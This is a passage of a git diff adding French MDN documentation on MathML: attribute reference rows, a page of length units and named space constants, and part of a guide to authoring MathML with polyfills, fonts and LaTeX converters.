+   <td>La couleur du texte. Il est possible d'utiliser les codes au format <code>#rgb</code>, <code>#rrggbb</code> et les <a href="/fr/docs/CSS/valeur_de_couleur#Mots-cl.C3.A9s">noms de couleurs HTML</a>.</td>
+  </tr>
+  <tr id="mathsize">
+   <td><code>mathsize</code></td>
+   <td>{{ MathMLElement("mi") }}, {{ MathMLElement("mn") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
+   <td>La taille du contenu. À partir de Gecko 20.0 {{geckoRelease("20")}} des valeurs sans unité sont autorisées et interprétées comme multiples de la taille par défaut.</td>
+  </tr>
+  <tr id="mathvariant">
+   <td><code>mathvariant</code></td>
+   <td>{{ MathMLElement("mi") }}, {{ MathMLElement("mn") }}, {{ MathMLElement("mo") }}, {{ MathMLElement("ms") }}, {{ MathMLElement("mtext") }}</td>
+   <td>La classe logique de l'identifiant, varie selon la typographie.</td>
+  </tr>
+  <tr id="maxsize">
+   <td><code>maxsize</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>La taille maximum de l'opérateur.</td>
+  </tr>
+  <tr id="minlabelspacing">
+   <td>{{ unimplemented_inline() }} <code>minlabelspacing</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Une valeur de longueur définissant l'espace minimum entre un{{ MathMLElement("mlabeledtr") }} et la cellule adjacente du tableau.</td>
+  </tr>
+  <tr id="minsize">
+   <td><code>minsize</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>La taille minimum de l'opérateur.</td>
+  </tr>
+  <tr id="movablelimits">
+   <td><code>movablelimits</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>Définit si oui ou non les indices au-dessus et en-dessous peuvent apparaître respectivement comme exposants et indices.</td>
+  </tr>
+  <tr id="notation">
+   <td><code>notation</code></td>
+   <td>{{ MathMLElement("menclose") }}</td>
+   <td>Une liste de notations, séparées par des blancs, à appliquer aux éléments fils.</td>
+  </tr>
+  <tr id="numalign">
+   <td><code>numalign</code> {{deprecated_inline}}</td>
+   <td>{{ MathMLElement("mfrac") }}</td>
+   <td>L'alignement du numérateur au dessus de la barre de fraction.</td>
+  </tr>
+  <tr id="open">
+   <td><code>open</code></td>
+   <td>{{ MathMLElement("mfenced") }}</td>
+   <td>Une chaîne de caractère pour un délimiteur ouvrant.</td>
+  </tr>
+  <tr id="overflow">
+   <td>{{ unimplemented_inline() }} <code>overflow</code></td>
+   <td>{{ MathMLElement("math") }}</td>
+   <td>Si l'expression est trop grande pour être insérée dans l'espace alloué, cet attribut définit la façon dont est géré l'affichage.</td>
+  </tr>
+  <tr id="position">
+   <td>{{ unimplemented_inline() }} <code>position</code></td>
+   <td>{{ MathMLElement("msgroup") }}, {{ MathMLElement("msrow") }}, {{ MathMLElement("mscarries") }}, {{ MathMLElement("msline") }}</td>
+   <td></td>
+  </tr>
+  <tr id="rowalign">
+   <td><code>rowalign</code></td>
+   <td>{{ MathMLElement("mtable") }}, {{ MathMLElement("mtd") }}, {{ MathMLElement("mtr") }}</td>
+   <td>Définit l'alignement vertical des cellules d'un tableau.</td>
+  </tr>
+  <tr id="rowlines">
+   <td><code>rowlines</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Définit les bordures des lignes d'un tableau.</td>
+  </tr>
+  <tr id="rowspacing">
+   <td><code>rowspacing</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Définit l'espace entre les lignes d'un tableau.</td>
+  </tr>
+  <tr id="rowspan">
+   <td><code>rowspan</code></td>
+   <td>{{ MathMLElement("mtd") }}</td>
+   <td>Un entier positif ou nul dont la valeur indique sur combien de lignes la celulle doit s'étendre.</td>
+  </tr>
+  <tr id="rspace">
+   <td><code>rspace</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>Le nombre d'espaces après l'opérateur.</td>
+  </tr>
+  <tr id="rquote">
+   <td><code>rquote</code></td>
+   <td>{{ MathMLElement("ms") }}</td>
+   <td>Le symbole de fin de citation (dépendant de <code>dir</code>) pour encadrer le contenu. La valeur par défaut est "<code>&amp;quot;</code>".</td>
+  </tr>
+  <tr id="scriptlevel">
+   <td><code>scriptlevel</code></td>
+   <td>{{ MathMLElement("mstyle") }}</td>
+   <td>Contrôle principalement la taille de la police. Plus le <code>scriptlevel</code> est grand, plus la taille de police est petite.</td>
+  </tr>
+  <tr id="scriptminsize">
+   <td><code>scriptminsize</code></td>
+   <td>{{ MathMLElement("mstyle") }}</td>
+   <td>Définit la taille de police minimale à utiliser avec les changements de <code>scriptlevel</code>.<br>
+    À partir de Gecko 20.0 {{geckoRelease("20")}} les valeurs sans unités et en pourcents sont autorisées et interprétées comme des multiples de la valeur « 8pt ».</td>
+  </tr>
+  <tr id="scriptsizemultiplier">
+   <td><code>scriptsizemultiplier</code></td>
+   <td>{{ MathMLElement("mstyle") }}</td>
+   <td>Définit le multiplicateur à utiliser pour ajuster la taille de police après les changements de <code>scriptlevel</code>.</td>
+  </tr>
+  <tr id="selection">
+   <td><code>selection</code></td>
+   <td>{{ MathMLElement("maction") }}</td>
+   <td>L'élément fils auquel s'applique l'action.</td>
+  </tr>
+  <tr id="separator">
+   <td><code>separator</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>Il n'y a pas d'effet visuel associé à cet attribut. Il définit si l'opérator doit être interprété comme un séparateur.</td>
+  </tr>
+  <tr id="separators">
+   <td><code>separators</code></td>
+   <td>{{ MathMLElement("mfenced") }}</td>
+   <td>Une suite de plusieurs caractères (zéro ou plus) devant être utilisés en tant que séparateurs.</td>
+  </tr>
+  <tr id="shift">
+   <td>{{ unimplemented_inline() }} <code>shift</code></td>
+   <td>{{ MathMLElement("msgroup") }}</td>
+   <td></td>
+  </tr>
+  <tr id="side">
+   <td>{{ unimplemented_inline() }} <code>side</code></td>
+   <td>{{ MathMLElement("mtable") }}</td>
+   <td>Définit la position à laquelle les éléments {{ MathMLElement("mlabeledtr") }} devraient être placés.</td>
+  </tr>
+  <tr id="src">
+   <td>{{ unimplemented_inline() }} <code>src</code></td>
+   <td>{{ MathMLElement("mglyph") }}</td>
+   <td>L'emplacement de l'image ressource.</td>
+  </tr>
+  <tr id="stackalign">
+   <td>{{ unimplemented_inline() }} <code>stackalign</code></td>
+   <td>{{ MathMLElement("mstack") }}</td>
+   <td></td>
+  </tr>
+  <tr id="stretchy">
+   <td><code>stretchy</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>Définit si oui ou non l'opérateur doit s'étirer afin d'être de la taille de l'élément adjacent.</td>
+  </tr>
+  <tr id="subscriptshift">
+   <td><code>subscriptshift</code> {{deprecated_inline}}</td>
+   <td>{{ MathMLElement("mmultiscripts") }}, {{ MathMLElement("msub") }}, {{ MathMLElement("msubsup") }}</td>
+   <td>L'espace minimum qui doit être laissé entre l'indice et la ligne de base de l'expression.</td>
+  </tr>
+  <tr id="supscriptshift">
+   <td><code>supscriptshift</code> {{deprecated_inline}}</td>
+   <td>{{ MathMLElement("mmultiscripts") }}, {{ MathMLElement("msup") }}, {{ MathMLElement("msubsup") }}</td>
+   <td>L'espace minimum qui doit être laissé entre l'exposant et la ligne de base de l'expression.</td>
+  </tr>
+  <tr id="symmetric">
+   <td><code>symmetric</code></td>
+   <td>{{ MathMLElement("mo") }}</td>
+   <td>Si l'attribut <code>stretchy</code> vaut <code>true</code>, cet attribut définit si oui ou non l'opérateur doit être symétrique verticalement par rapport à l'axe mathématique imaginaire (la ligne de fraction centrée).</td>
+  </tr>
+  <tr id="voffset">
+   <td><code>voffset</code></td>
+   <td>{{ MathMLElement("mpadded") }}</td>
+   <td>Définit la position verticale d'un contenu fils.</td>
+  </tr>
+  <tr id="width">
+   <td><code>width</code></td>
+   <td>{{ MathMLElement("mglyph") }}, {{ MathMLElement("mpadded") }}, {{ MathMLElement("mspace") }}, {{ MathMLElement("mtable") }}</td>
+   <td>Définit la largeur souhaitée. Voir les <a href="/fr/docs/Web/MathML/Attribute/Values" title="/en-US/docs/MathML/Attributes/Values#Lengths">longueurs</a> pour les valeurs possibles.</td>
+  </tr>
+  <tr id="xlink-href">
+   <td><code>xlink:href</code> {{deprecated_inline}}</td>
+   <td><em>Tous</em></td>
+   <td>Peut être utilisé pour former un hyperlien avec un URI donné. Cependant, il est conseillé d'utiliser l'attribut <code>href</code> à la place.</td>
+  </tr>
+  <tr id="xmlns">
+   <td><code>xmlns</code></td>
+   <td>{{ MathMLElement("math") }}</td>
+   <td>Définit l'URI de l'espace de nom MathML (<code><a class="external" href="http://www.w3.org/1998/Math/MathML" rel="freelink">http://www.w3.org/1998/Math/MathML</a></code>)</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/mathml/attribute/valeurs/index.html b/files/fr/web/mathml/attribute/valeurs/index.html
new file mode 100644
index 0000000000..4fc2296665
--- /dev/null
+++ b/files/fr/web/mathml/attribute/valeurs/index.html
@@ -0,0 +1,138 @@
+---
+title: Valeurs
+slug: Web/MathML/Attribute/Valeurs
+tags:
+  - MathML
+  - Référence MathML
+translation_of: Web/MathML/Attribute/Values
+---
+<h2 id="Longueurs">Longueurs</h2>
+
+<p>Plusieurs éléments de présentation MathML possèdent des attributs qui acceptent des valeurs pour mesurer des tailles ou des espacements. MathML accepte différentes unités et constantes pour spécifier les longueurs.</p>
+
+<h3 id="Unités">Unités</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Uniét</th>
+   <th>Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>em</code></td>
+   <td>Unité {{ Cssxref("font-size", "relative à la police") }}</td>
+  </tr>
+  <tr>
+   <td><code>ex</code></td>
+   <td>Unité {{ Cssxref("font-size", "relative à la police") }}. (La hauteur "x" de l'élément, <code>1ex ≈ 0.5em</code> dans beaucoup de polices)</td>
+  </tr>
+  <tr>
+   <td><code>px</code></td>
+   <td>Pixels</td>
+  </tr>
+  <tr>
+   <td><code>in</code></td>
+   <td>Pouces (1 pouce = 2,54 centimètres)</td>
+  </tr>
+  <tr>
+   <td><code>cm</code></td>
+   <td>Centimètres</td>
+  </tr>
+  <tr>
+   <td><code>mm</code></td>
+   <td>Millimètres</td>
+  </tr>
+  <tr>
+   <td><code>pt</code></td>
+   <td>Points (1 point = 1/72 pouce)</td>
+  </tr>
+  <tr>
+   <td><code>pc</code></td>
+   <td>Picas (1 pica = 12 points)</td>
+  </tr>
+  <tr>
+   <td><code>%</code></td>
+   <td>Pourcentage de la valeur par défaut.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Constantes">Constantes</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>Constante</th>
+   <th>Valeur</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>veryverythinmathspace</code></td>
+   <td>1/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>verythinmathspace</code></td>
+   <td>2/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>thinmathspace</code></td>
+   <td>3/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>mediummathspace</code></td>
+   <td>4/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>thickmathspace</code></td>
+   <td>5/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>verythickmathspace</code></td>
+   <td>6/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>veryverythickmathspace</code></td>
+   <td>7/18<code>em</code></td>
+  </tr>
+ </tbody>
+ <thead>
+  <tr>
+   <th colspan="2">Les <em>contstantes</em> négatives ont été introduites avec Gecko 7.0 {{ geckoRelease("7.0") }} ({{ bug(650530) }})</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>negativeveryverythinmathspace</code></td>
+   <td>-1/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>negativeverythinmathspace</code></td>
+   <td>-2/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>negativethinmathspace</code></td>
+   <td>-3/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>negativemediummathspace</code></td>
+   <td>-4/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>negativethickmathspace</code></td>
+   <td>-5/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>negativeverythickmathspace</code></td>
+   <td>-6/18<code>em</code></td>
+  </tr>
+  <tr>
+   <td><code>negativeveryverythickmathspace</code></td>
+   <td>-7/18<code>em</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Note : <a class="external" href="http://www.w3.org/TR/MathML3/chapter3.html#id.3.3.4.2.1" rel="external" title="http://www.w3.org/TR/MathML3/chapter3.html#id.3.3.4.2.1">L'association avec des espaces de noms a été dépréciée</a> dans MathML3 et a été retirée dans Gecko 15.0 {{ geckoRelease("15.0") }} (<a class="external" href="https://bugzilla.mozilla.org/show_bug.cgi?id=673759" rel="external">bug 673759</a>).</p>
diff --git a/files/fr/web/mathml/authoring/index.html b/files/fr/web/mathml/authoring/index.html
new file mode 100644
index 0000000000..e3ae53fc5c
--- /dev/null
+++ b/files/fr/web/mathml/authoring/index.html
@@ -0,0 +1,342 @@
+---
+title: Éditer du MathML
+slug: Web/MathML/Authoring
+tags:
+  - Débutant
+  - HTML
+  - LaTeX
+  - MathML
+  - Mathématiques
+  - Projet MathML
+  - wysiwyg
+translation_of: Web/MathML/Authoring
+---
+<p>Cette page explique comment écrire des formules mathématiques en utilisant le langage MathML. À l'instar du HTML, le MathML est décrit par des balises et des attributs. Le code source HTML devient lourd lorque votre document contient des structures avancées telles que des listes ou tableaux mais heureusement il existe plusieurs générateurs de HTML à partir de notations simples, des éditeurs WYSIWYG ainsi que des systèmes de gestions de contenu (CMS) qui aide à l'écriture de page Web.</p>
+
+<p>Les notations mathématiques sont encore plus complexes, avec des structures telles que les fractions, les racines carrées ou les matrices qui sont susceptibles de nécessiter leur propres balisage. Par conséquent, de bons outils d'édition MathML sont encore plus importants et nous en décrivons quelques-uns ci-dessous. En particulier, l'équipe MathML de Mozilla a développé <a href="https://github.com/fred-wang/TeXZilla/">TeXZilla</a>, un convertisseur Javascript de LaTeX vers MathML compatible avec Unicode, dont le but est d'être utilisé dans divers scenari décrits ici. Bien sûr, la liste n'est pas exhaustive et vous êtes invité à jeter un œil à la  <a class="external" href="http://www.w3.org/Math/Software/">liste du W3C des logiciels MathML (en)</a> où vous pouvez trouver divers outils.</p>
+
+<p>Notez que MathML est conçu pour être bien intégré au HTML5 et en particulier vous pouvez utiliser les concepts Web usuels tels que CSS, DOM, Javascript ou SVG. Cela ne rentre pas dans le cadre de ce document mais n'importe qui avec les connaissances de base des langages Web pourra facilement mélanger ceux-ci avec le MathML. Allez voir <a href="/en-US/docs/Mozilla/MathML_Project#Sample_MathML_Documents" title="/en-US/docs/Mozilla/MathML_Project#Sample_MathML_Documents">nos démonstrations</a> et la <a href="https://developer.mozilla.org/en-US/docs/Web/MathML" title="en/MathML/Element">référence MathML</a> pour plus de détails.</p>
+
+<h2 id="Utiliser_MathML">Utiliser MathML</h2>
+
+<h4 id="Example_in_HTML5_texthtml" name="Example_in_HTML5_(text/html)">MathML dans les pages HTML</h4>
+
+<p>Vous pouvez utiliser du MathML de présentation au sein des documents HTML5 :</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+    &lt;head&gt;
+        &lt;title&gt;MathML dans HTML5&lt;/title&gt;
+    &lt;/head&gt;
+    &lt;body&gt;
+        &lt;h1&gt;MathML dans HTML5&lt;/h1&gt;
+
+        &lt;p&gt;
+        Racine carrée de 2 :
+        &lt;math&gt;
+            &lt;msqrt&gt;
+                &lt;mn&gt;2&lt;/mn&gt;
+            &lt;/msqrt&gt;
+        &lt;/math&gt;
+        &lt;/p&gt;
+     &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Le MathML de contenu n'est pas supporté par les navigateurs. Il vous est alors recommandé de convertir votre arborescence de MathMLde contenu en du MathML de présentation avant de le publier, par exemple à l'aide de la feuille de style <a class="external" href="http://code.google.com/p/web-xslt/source/browse/trunk/#trunk/ctop">ctop.xsl</a>. Les outils mentionnés sur cette page génèrent du MathML de présentation.</p>
+
+<h4 id="Alternative_pour_les_navigateurs_sans_support_de_MathML">Alternative pour les navigateurs sans support de MathML</h4>
+
+<p>Malheureusement, certains navigateurs sont incapables de rendre des équations avec MathML ou en ont seulement un support limité. Par conséquent, vous devrez utiliser un émulateur de MathML pour fournir un rendu alternatif. Si vous n'avez besoin que de constructions mathématiques basiques telles que celles utilisées dans cet article alors une simple feuille de style <a href="https://github.com/fred-wang/mathml.css">mathml.css</a> devrait suffire. Pour l'utiliser, insérez cette ligne dans votre document HTML :</p>
+
+<pre class="brush: html  language-html notranslate"><code class="language-html"><span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://fred-wang.github.io/mathml.css/mspace.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span></code></pre>
+
+<p>Si vous avez besoin de constructions plus complexes, vous devrez alors envisager d'utiliser la bibliothèque <a href="http://www.mathjax.org" title="http://www.mathjax.org">MathJax</a> comme émulateur de MathML :</p>
+
+<pre class="brush: html  language-html notranslate"><code class="language-html"><span class="script token"><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;</span>script</span> <span class="attr-name token">src</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>http://fred-wang.github.io/mathjax.js/mpadded.js<span class="punctuation token">"</span></span><span class="punctuation token">&gt;</span></span><span class="tag token"><span class="tag token"><span class="punctuation token">&lt;/</span>script</span><span class="punctuation token">&gt;</span></span></span></code></pre>
+
+<p>Notez que ces deux scripts assurent la détection des fonctionnalités des éléments <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mspace">mspace</a> ou <a href="https://developer.mozilla.org/en-US/docs/Web/MathML/Element/mpadded">mpadded</a> (renseignez-vous sur la table de compatibilité des navigateurs au pied de cet article).</p>
+
+<p>Si vous ne souhaitez pas utiliser ce lien vers GitHub mais préférez intégrer ces émulateurs ou d'autres dans votre projet, vous pourriez avoir besoin des scripts de détection pour vérifer le niveau de support de MathML par votre navigateur. Par exemple la fonction suivante vérifie le support de MathML en essayant l'élément mspace (vous pourriez remplacer <code>mspace</code> par <code>mpadded</code>):</p>
+
+<pre class="brush: js  language-js notranslate"><code class="language-js"><span class="keyword token">function</span> <span class="function token">supporteMathML<span class="punctuation token"> (</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    let div <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement<span class="punctuation token">(</span></span><span class="string token">"div"</span><span class="punctuation token">)</span><span class="punctuation token">,</span> box<span class="punctuation token">;</span>
+    div<span class="punctuation token">.</span>innerHTML <span class="operator token">=</span> <span class="string token">"&lt;math&gt;&lt;mspace height='23px' width='77px'/&gt;&lt;/math&gt;"</span><span class="punctuation token">;</span>
+    document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild<span class="punctuation token">(</span></span>div<span class="punctuation token">)</span><span class="punctuation token">;</span>
+    let box <span class="operator token">=</span> div<span class="punctuation token">.</span>firstChild<span class="punctuation token">.</span>firstChild<span class="punctuation token">.</span><span class="function token">getBoundingClientRect<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+    document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">removeChild<span class="punctuation token">(</span></span>div<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="keyword token">    return</span> Math<span class="punctuation token">.</span><span class="function token">abs<span class="punctuation token">(</span></span>box<span class="punctuation token">.</span>height <span class="operator token">-</span> <span class="number token">23</span><span class="punctuation token">)</span> <span class="operator token">&lt;</span><span class="operator token">=</span> <span class="number token">1</span>  <span class="operator token">&amp;&amp;</span> Math<span class="punctuation token">.</span><span class="function token">abs<span class="punctuation token">(</span></span>box<span class="punctuation token">.</span>width <span class="operator token">-</span> <span class="number token">77</span><span class="punctuation token">)</span> <span class="operator token">&lt;</span><span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Alternativement, la chaîne de caractères d'agent utilisateur suivante va permettre la détection des moteurs de rendu avec support natif de MathML (Gecko et WebKit) :</p>
+
+<pre class="brush: js  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> ag_ut <span class="operator token">=</span> navigator<span class="punctuation token">.</span>userAgent<span class="punctuation token">;</span>
+<span class="keyword token">var</span> isGecko <span class="operator token">=</span> ag_ut<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">"Gecko"</span><span class="punctuation token">)</span> <span class="operator token">&gt;</span> <span class="operator token">-</span><span class="number token">1</span> <span class="operator token">&amp;&amp;</span> ag_ut<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">"KHTML"</span><span class="punctuation token">)</span> <span class="operator token">==</span><span class="operator token">=</span> <span class="operator token">-</span><span class="number token">1</span> <span class="operator token">&amp;&amp;</span> ag_ut<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">'Trident'</span><span class="punctuation token">)</span> <span class="operator token">==</span><span class="operator token">=</span> <span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> isWebKit <span class="operator token">=</span> ag_ut<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">'AppleWebKit'</span><span class="punctuation token">)</span> <span class="operator token">&gt;</span> <span class="operator token">-</span><span class="number token">1</span> <span class="operator token">&amp;&amp;</span> ag_ut<span class="punctuation token">.</span><span class="function token">indexOf<span class="punctuation token">(</span></span><span class="string token">'Chrome'</span><span class="punctuation token">)</span> <span class="operator token">==</span><span class="operator token">=</span> <span class="operator token">-</span><span class="number token">1</span><span class="punctuation token">;</span></code></pre>
+
+<p>Notez que cette chaîne de détection n'est pas la méthode la plus fiable et pourrait dysfonctionner d'une version à une autre.</p>
+
+<h4 id="Les_fontes_mathématiques">Les fontes mathématiques</h4>
+
+<p>Afin d'obtenir une bonne mise en page ou pour permettre différents mise en style, il est important d'avoir des fontes mathématiques disponibles. Vous pouvez ainsi fournir à vos visiteurs un lien vers les <a href="https://developer.mozilla.org/en-US/docs/Mozilla/MathML_Project/Fonts">Instructions sur les fontes de MDN</a>, de telle manière qu'ils puissent vérifier s'ils ont les fontes appropriées installées sur leur système ou non. Il est tout aussi bon de prévoir une alternative avec les fontes Web.</p>
+
+<p>Avant Gecko 31.0 {{GeckoRelease("31.0")}}, il était quelque peu fastidieux d'installer des fontes mathématiques, lisez à ce propos les <a href="https://developer.mozilla.org/en-US/docs/Mozilla/MathML_Project/FontsMozilla2.0#MathML_Font_Selection_with_CSS">instructions pour Mozilla 2.0</a>. Depuis Gecko 31.0 {{GeckoRelease("31.0")}}, c'est beaucoup plus simple et compatible avec tout moteur de rendu Web ayant un support de MathML. Par exemple, voyez-ci une feuille de style minimale pour utiliser la fonte Latin Modern pour les textes et Latin Modern Math pour les expressions mathématiques :</p>
+
+<pre class="brush: css line-numbers  language-css notranslate"><code class="language-css"><span class="atrule token"><span class="rule token">@namespace</span> <span class="token url">url('http://www.w3.org/1999/xhtml')</span><span class="punctuation token">;</span></span>
+<span class="atrule token"><span class="rule token">@namespace</span> m <span class="token url">url('http://www.w3.org/1998/Math/MathML')</span><span class="punctuation token">;</span></span>
+
+<span class="selector token">body, m|mtext </span><span class="punctuation token">{</span>
+    <span class="property token">font-family</span><span class="punctuation token">:</span> Latin Modern<span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+<span class="selector token">m|math </span><span class="punctuation token">{</span>
+    <span class="property token">font-family</span><span class="punctuation token">:</span> Latin Modern Math<span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>En fin vous pouvez utiliser la règle <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face">@font-face</a> comme usuellement pour founir une alternative WOFF pour les fontes Latin Modern et Latin Modern Math. Regardez ce <a href="https://github.com/fred-wang/MathFonts">dépôt GitHub pour obtenir des fontes WOFF et des échantillons de feuilles de style CSS</a> à utiliser sur votre site ainsi que <a href="http://fred-wang.github.io/MathFonts/">sa page d'essai</a>.</p>
+
+<h4 id="MathML_dans_les_documents_XML_XHTML_EPUB_etc">MathML dans les documents XML (XHTML, EPUB, etc)</h4>
+
+<p>Si pour quelque raison vous avez besoin de MathML au sein de documents XML, soyez sûr de satisfaire aux exigences usuelles : document valide, usage d'un type MIME correct et espaces de noms MathML <code>"http://www.w3.org/1998/Math/MathML"</code> sur les racines <code>&lt;math&gt;</code>. Par exemple, la version XHTML de l'exemple précèdent ressemble à ceci :<br>
+  </p>
+
+<pre class="brush: xml notranslate">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1 plus MathML 2.0//EN"
+  "http://www.w3.org/Math/DTD/mathml2/xhtml-math11-f.dtd"&gt;
+&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;
+    &lt;head&gt;
+        &lt;title&gt;XHTML avec un exemple MathML&lt;/title&gt;
+    &lt;/head&gt;
+    &lt;body&gt;
+        &lt;h1&gt;XHTML avec un exemple MathML&lt;/h1&gt;
+
+        &lt;p&gt;
+        Racine carrée de 2 :
+        &lt;math xmlns="http://www.w3.org/1998/Math/MathML"&gt;
+            &lt;msqrt&gt;
+                &lt;mn&gt;2&lt;/mn&gt;
+            &lt;/msqrt&gt;
+        &lt;/math&gt;
+        &lt;/p&gt;
+    &lt;/body&gt;
+&lt;/html&gt; </pre>
+
+<h4 id="MathML_dans_les_méls_et_clients_de_messagerie_instantanée">MathML dans les méls et clients de messagerie instantanée</h4>
+
+<p>Les clients méls modernes peuvent envoyer et recevoir des méls au format HTML5 et donc y insérer des expressions MathML. Soyez sûrs dans ce cas d'avoir activé les options "envoyez en tant que HTML" et "visionner en tant que HTML". Dans Thunderbird, vous pouvez utiliser la fonctionnalité "Insérer du HTML" pour coller votre code HTML + MathML. <a href="http://disruptive-innovations.com/zoo/MathBird/" title="http://disruptive-innovations.com/zoo/MathBird/">MathBird</a> est une extension de Thunderbird pratique pour insérer des expressions MathML en utilisant la syntaxe d'insertion d'AsciiMath. À nouveau, la manière dont MathML est géré et la qualité du rendu de MathML <a href="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121" title="http://www.maths-informatique-jeux.com/blog/frederic/?post/2012/11/14/Writing-mathematics-in-emails#c121">dépend des clients méls</a>. Même si votre navigateur supporte le MathML, votre fournisseur mél Web pourrait vous empêcher de recevoir ou d'envoyer des méls contenant du MathML.</p>
+
+<p>En théorie, les clients de messagerie instantanée basés sur Gecko peuvent intégrer un des convertisseurs tirés de Javascript de texte en MathML mentionnés ci-après et rendre les expressions MathML. Il y a par exemple une <a href="https://addons.instantbird.org/en-US/instantbird/addon/340" title="https://addons.instantbird.org/en-US/instantbird/addon/340">extension InstantBird</a> pour gérer les expressions LaTeX.</p>
+
+<h2 id="Conversion_depuis_une_syntaxe_simple">Conversion depuis une syntaxe simple</h2>
+
+<p>Il y a de nombreuses notations simples (par exemple les syntaxes wiki ou markdown) pour générer des pages HTML. De fait, cela est aussi vrai pour MathML: par exemple les syntaxes ASCII telles qu'utilisées dans les calculatrices ou le plus puissant langage LaTeX, très populaire dans la communauté scientifique. Dans cette section, nous présenterons quelques-uns de ces outils pour convertir du texte respectant une certaine syntaxe en MathML.</p>
+
+<ul>
+ <li>Avantages :
+  <ul>
+   <li>Écrire des expressions mathématiques peut ne nécessiter qu'un éditeur de texte standard.</li>
+   <li>De nombreux outils sont disponibles et certains sont compatibles avec le convertisseur LaTeX-to-PDF.</li>
+   <li>Cela donne accès à des fonctionnalités avancées de LaTeX comme les macros.</li>
+  </ul>
+ </li>
+ <li>Inconvénients :
+  <ul>
+   <li>Ce peut être plus difficile à utiliser : il faut apprendre la syntaxe, une erreur dans le code amène facilement à une erreur de conversion ou de rendu etc</li>
+   <li>L'interface n'est pas conviviale : l'on n'a accès qu'à un éditeur de code sans rendu en direct de l'expression mathématique.</li>
+   <li>Aucune des syntaxes n'a été standardisée, rendant la compatibilité entre convertisseurs difficile. Par exemple, le langage populaire LaTeX continue de recevoir de nouveaux paquets et tous les convertisseurs ne sont pas à jour.</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Conversion_côté_client">Conversion côté client</h3>
+
+<p>Dans un environnement web, la plus évidente méthode pour convertir un texte brut respectant une syntaxe en une arborescence DOM est d'utiliser Javascript. De fait, de nombreuses bibliothèques ont été développées pour accomplir cette tâche.</p>
+
+<ul>
+ <li>Avantages :
+  <ul>
+   <li>Mise en place aisée : seulement un peu de Javascript et de CSS.</li>
+   <li>C'est une solution purement basée Web : tout est fait par les navigateurs et non par d'autres programmes nécessitant une installation.</li>
+  </ul>
+ </li>
+ <li>Inconvénients :
+  <ul>
+   <li>Cela ne fonctionnera pas si l'utilisateur a désactivé Javascript.</li>
+   <li>Le code MathML n'est pas présenté aux robots d'indexation (par exemple ceux des moteurs de recherche mathématique ou les agrégateurs de contenu).</li>
+   <li>La conversion doit être faite à chaque chargement de page, pouvant amener à un ralentissement du chargement ou à des conflits avec l'analyse HTML (par exemple "&lt;" pour les balises)</li>
